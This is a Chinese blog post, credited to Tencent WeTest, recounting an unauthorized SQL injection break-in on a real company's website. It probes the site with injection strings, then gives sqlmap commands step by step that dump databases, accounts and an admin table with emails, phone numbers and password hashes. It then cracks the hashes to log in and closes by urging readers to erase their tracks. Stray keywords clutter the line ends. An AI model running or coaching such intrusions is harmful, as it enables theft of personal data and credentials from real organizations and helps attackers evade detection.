SQL注入—我是如何一步步攻破一家互聯網公司的

 最近在研究Web安全相關的知識,特別是SQL注入類的相關知識。接觸了一些與SQL注入相關的工具。週末在家閒着無聊,想把平時學的東東結合起來攻擊一下身邊某個小夥伴去的公司,看看能不能得逞。不試不知道,一試還真TM得逞了,心裏有些小激動,特在此寫博文一篇,來記錄下我是如何一步步攻破這家互聯網公司的。javascript

【做案工具介紹】php

(1) AppScan滲透掃描工具java

Appscan是Web應用程序滲透測試舞臺上使用最普遍的工具之一。它是一個桌面應用程序,它有助於專業安全人員進行Web應用程序自動化脆弱性評估。python

(2) Sqlmap滲透測試工具sql

Sqlmap是一個自動化的SQL注入工具,其主要功能是掃描,發現並利用給定的URL的SQL注入漏洞。數據庫

【做案細節以下】安全

首先使用Appscan工具,對www.xxx.com互聯網公司的官網進行掃描,掃描結果以下: 
圖片描述工具

在這56個安全性問題中,找到你感興趣的連接,例以下面這條:sqlserver

http://www.xxx.com/system/cms/show?id=1測試

爲什麼要挑出這一條呢?由於它對於SQL注入比較典型,下面普及下SQL注入經常使用手法。首先用以下語句,肯定該網站是否存在注入點:

http://192.168.16.128/news.php?id=1 原網站

http://192.168.16.128/news.php?id=1’ 出錯或顯示不正常

http://192.168.16.128/news.php?id=1 and 1=1 出錯或顯示不正常

http://192.168.16.128/news.php?id=1 and 1=2 出錯或顯示不正常

若是有出錯,說明存在注入點。

在判斷完http://www.xxx.com/system/cms/show?id=1該連接存在注入點後,接下來就啓動咱們的滲透測試工具Sqlmap,進行下一步的注入工做,詳細過程以下:

1) 再次確認目標註入點是否可用:

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1

參數:

-u:指定注入點url

結果:

圖片描述

注入結果展現:

a. 參數id存在基於布爾的盲注,便可以根據返回頁面判斷條件真假的注入。

b. 參數id存在基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增長)來判斷。

c. 數據庫類型爲:MySql 5.0.12

2) 暴庫全部數據庫:

一條命令便可曝出該sqlserver中全部數據庫名稱,命令以下:

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 –dbs

參數:

–dbs:dbs前面有兩條槓,列出全部數據庫。

結果:

圖片描述

結果顯示該sqlserver中共包含3個可用的數據庫。

3) 獲取當前使用的數據庫

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 –current-db

參數:

–current-db:當前所使用的數據庫。

結果:

圖片描述

4) 獲取當前數據庫使用帳戶

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 –current-user

圖片描述

5) 列出sqlserver全部用戶

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 –users

圖片描述

   

6) 獲取當前用戶數據庫帳戶與密碼

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 –passwords

圖片描述

結果顯示該用戶可能無讀取相關係統的權限。

7) 列出數據庫中的表

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store –tables

參數:

-D:指定數據庫名稱

–tables:列出表

結果:

圖片描述

結果顯示共列出了69張表。

8) 列出表中字段

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin –columns

參數:

-D:指定數據庫名稱

-T:指定要列出字段的表

–columns:指定列出字段

結果:

圖片描述

9)暴字段內容

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C 「ag_id,email,id,mobile,name,password,status」 –dump

參數:

-C :指定要暴的字段

–dump:將結果導出

若是字段內容太多,須要花費不少時間。能夠指定導出特定範圍的字段內容,命令以下:

python sqlmap.py -u http://www.xxx.com/system/cms/show?id=1 -D xxx_store -T mall_admin -C 「ag_id,email,id,mobile,name,password,status」 –start 1 –stop 10 –dump

參數:

–start:指定開始的行

–stop:指定結束的行

此條命令的含義爲:導出數據庫xxx_store中的表mall_admin中的關於字段(ag_id,email,id,mobile,name,password,status)中的第1到第10行的數據內容。

結果以下:

圖片描述

經過上圖,咱們能夠看到admin表中的用戶信息了。咱們將password字段經過md5解密,能夠獲得hash的原文密碼,經過用戶名和密碼,咱們就能夠登陸該網站了。

至此,咱們已成功入侵到一家公司的後臺,並拿到了相關的數據。不過要在這裏提醒你:成功入侵只是成功了一半,另外最重要的一半是把屁股擦乾淨,不讓別人發現你了!

本文由騰訊WeTest團隊提供,更多資訊可直接戳連接查看:http://wetest.qq.com/lab/ 

上一頁     
相關文章
相關標籤/搜索